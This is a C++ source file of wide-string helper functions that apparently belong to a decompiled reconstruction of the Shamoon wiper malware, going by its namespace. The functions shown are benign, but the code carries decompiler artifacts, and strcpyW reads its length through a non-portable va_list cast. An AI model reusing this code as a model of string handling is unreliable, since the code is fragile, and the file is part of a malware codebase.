// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "String.h"

WCHAR *Shamoon::Utils::String::strcpyW(WCHAR *a1, const WCHAR *a2, ...)
{
	va_list va;

	va_start(va, a2);
	if(!a1 || !a2) return 0;
	
	for(char * i = (char *)a1; *(int *)va; --*(int *)va)
	{
		*i = i[(char *)a2 - (char *)a1];
		++i;
	}
	
	return a1;
}

char *Shamoon::Utils::String::strset(char *a1, char a2, int a3)
{
	char *v4 = a1;

	while(a3)
	{
		*v4++ = a2;
		--a3;
	}
	return a1;
}

UINT32 Shamoon::Utils::String::strlenW(const WCHAR *string)
{
	UINT32 i = 0; // eax@1

	if(string)
	{
		while((LOBYTE(string[i]) || HIBYTE(string[i])) && i < 2000000000)
			++i;
	}
	
	return i;
}

bool Shamoon::Utils::String::strcmpW(WCHAR *a1, WCHAR *a2)
{
	WCHAR *v2; // eax@1
	bool v3; // zf@2
	WCHAR *v5; // ecx@5
	WCHAR v6; // dx@8
	WCHAR v7; // di@9

	v2 = a1;
	if(a1)
	{
		v5 = a2;
		if(!a2)
			return 0;
		while(*v2)
		{
			v6 = *v5;
			if(!*v5)
				break;
			v7 = *v2;
			++v5;
			++v2;
			if(v7 != v6)
				return 0;
		}
		if(*v2)
			return 0;
		v3 = *v5 == 0;
	}
	else
	{
		v3 = a2 == 0;
	}
	if(v3)
		return 1;
	return 0;
}

char *Shamoon::Utils::String::btowc(char *a1, WCHAR *a2, int a3)
{
	char *v3; // ebx@1
	char *v4; // esi@2
	int v5; // edi@3
	char *result; // eax@6

	v3 = a1;
	if(a1 && (v4 = (char *)a2) != 0)
	{
		v5 = a3;
		memset(a2, 0, 2 * a3);
		if(a3)
		{
			do
			{
				if(!*v3)
					break;
				*v4 = *v3;
				v4 += 2;
				++v3;
				--v5;
			}
			while(v5);
		}
		*(WCHAR *)v4 = 0;
		result = v4;
	}
	else
	{
		result = 0;
	}
	return result;
}